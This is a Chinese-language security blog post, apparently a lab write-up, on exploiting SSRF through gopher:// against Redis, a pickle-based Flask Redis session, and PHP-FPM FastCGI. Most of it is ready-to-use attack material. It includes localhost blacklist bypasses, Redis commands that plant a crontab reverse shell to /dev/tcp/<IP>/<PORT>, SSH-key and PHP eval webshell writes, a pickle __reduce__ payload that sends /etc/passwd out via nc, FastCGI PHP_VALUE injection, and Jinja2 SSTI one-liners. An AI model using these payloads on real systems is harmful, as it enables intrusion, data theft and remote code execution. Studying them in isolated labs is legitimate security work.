Skip to content
Kurisu
Go back

SSRF 深入利用:gopher 打 Redis 三板斧

SSRF 的价值:借外网可达的服务器把请求发进内网,并按任意协议说话。靶场 web-ssrfme、Web-Hacking-Lab,复现全在本地 Docker。

0x01 靶场与入口

两个入口都是”在线 fetch”页面,区别在过滤:

// web-ssrfme:有黑名单
if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url, $match))
    die('No, No, No!');
curl($url);

// Web-Hacking-Lab:POST url,无任何过滤,回显 curl 结果
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);

0x02 黑名单绕过速查

针对 127.0.0.1 / localhost 关键词的等价形式:

http://0.0.0.0/          http://127.1/
http://0x7f000001/       http://2130706433/        (十六进制/十进制整数)
http://[::1]/            http://0177.0.0.1/        (IPv6/八进制)
http://a:80@127.0.0.1/                             (URL 解析差异)
302 跳转:外网短链/自建跳板 → Location: http://127.0.0.1:6379
DNS Rebind:TTL=0 的 A 记录在两次解析间切换 IP

file://、dict:// 被禁不代表没路——gopher:// 常是漏网之鱼且最强:能以任意协议携带任意字节流发 TCP 请求,是下面所有利用的载体。

0x03 gopher 打 Redis:先看协议再看 payload

Redis 客户端与服务端之间是 RESP 文本协议,可用 NC 式裸命令通信。gopher 语法 gopher://host:port/_<URL编码后的TCP数据流>,下划线后内容原样发出。

payload 核心函数——把一行命令转成 RESP:

def generate_resp(command):
    command = command.split(" ")
    res = "*{}\n".format(len(command))          # 参数个数
    for cmd in command:
        res += "${}\n".format(len(cmd))         # 每段长度
        res += "{}\n".format(cmd)
    return res

命令拼好后 urllib.quote 编码塞进 gopher URL;换行必须替换成 \r\n(Redis 要求 CRLF)。

三板斧

脚本 payload_redis.py 给三条路,前提都是 Redis 未授权/弱口令:

① crontab 反弹 shell(写 /var/spool/cron/root;Ubuntu 为 /var/spool/cron/crontabs/root):

flushall
set 1 "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/<IP>/<PORT> 0>&1'\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

② SSH 公钥写入(dir /root/.ssh/ + dbfilename authorized_keys),公钥前后带换行。

③ 写 WebShell(知道 Web 根目录时):

config set dir /var/www/html/
config set dbfilename shell.php
set 1 "<?php @eval($_POST['x']);?>"
save

通用四步 flushall → set → config set dir/dbfilename → save,只变写哪个文件。

数据外带视角:CRLF 进 Redis

Web-Hacking-Lab 的 pickle-redis 靶入口是 Flask fetch 接口,用 httplib 发请求——httplib 对 path 不做 CRLF 过滤:

POST / → url=http://127.0.0.1:6379/
GET /%0d%0aflushall%0d%0aset%20x%20... HTTP/1.1

path 里 %0d%0a 解码成 CRLF,Redis 把后续每行当独立命令——HTTP 通道也能说 RESP。

0x04 进阶链:SSRF + Redis Session 反序列化 RCE

前提:Flask 用自定义 RedisSessionInterface 且 serializer = pickle,session 存取走 pickle.loads()。

class RedisSessionInterface(SessionInterface):
    serializer = pickle
    prefix = 'session:'

    def open_session(self, app, request):
        sid = request.cookies.get(app.session_cookie_name)
        val = self.redis.get(self.prefix + sid)      # 从 Redis 取
        if val is not None:
            data = self.serializer.loads(base64.b64decode(val))   # ← 反序列化点
            ...
    def save_session(self, ...):
        val = base64.b64encode(self.serializer.dumps(dict(session)))
        self.redis.setex(self.prefix + session.sid, ...)          # ← 写入点

攻击闭环(四步):

  1. 构造 pickle 恶意对象并 base64(__reduce__ 返回 (os.system, ("cmd",)));
  2. 用 SSRF/CRLF 往 Redis 写 key:SET session:<恶意sid> <base64 payload>;
  3. 把自己 Cookie 的 session id 改成 <恶意sid>;
  4. 带新 Cookie 访问 → open_session 读到恶意 key → pickle.loads → RCE。

配套脚本最后一步:

class PickleExploit(object):
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd | nc <IP> <PORT>',))

pickle.dumps(PickleExploit())   # base64 后写进 Redis 的 session: key

0x05 SSRF 直打内网 FastCGI

Nginx 收到 PHP 请求会封装成 FastCGI 包转发给 PHP-FPM(如 127.0.0.1:9000);该端口本只对内网暴露,有 SSRF 就能直接对 9000 说 FastCGI 协议。

利用面在报文的 PHP_VALUE/PHP_ADMIN_VALUE 可注入环境配置——打开 allow_url_include、auto_prepend_file=php://input,等效任意文件包含直接 RCE。gopherus 可生成报文:

gopher://127.0.0.1:9000/_<FastCGI 报文,含 PHP_VALUE: allow_url_include=1...>

同理:内网服务信任”来自本机的请求”,SSRF 伪造了这个信任源。

0x06 Python SSRF 场景的连带伤害:Jinja2 SSTI

Python 场景:Flask fetch 接口若把用户输入拼进 render_template_string,SSRF 之外又多一个 SSTI 面:

{{ ''.__class__.__mro__[1].__subclasses__() }}        # 枚举基类找 os._wrap_close
{{ c.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()') }}

0x07 复现环境清单

# web-ssrfme:Apache+PHP(黑名单 SSRF 入口)+ Redis 3.2.11(未授权)
services:
  web:   { image: web,   ports: ["8091:80"] }
  redis: { image: redis }

Web-Hacking-Lab compose 起两个容器:centos(Redis 未授权 + cron 可写,privileged)、pickle-redis(Flask + Redis session,3333 端口)。复现顺序:黑名单绕过 → gopher 三板斧 → pickle session 链 → FastCGI。

参考


Share this post:

Previous Post
SQL 注入深挖:报错注入原理与盲注脚本化
Next Post
文件包含到 RCE:filter chain 与内网实战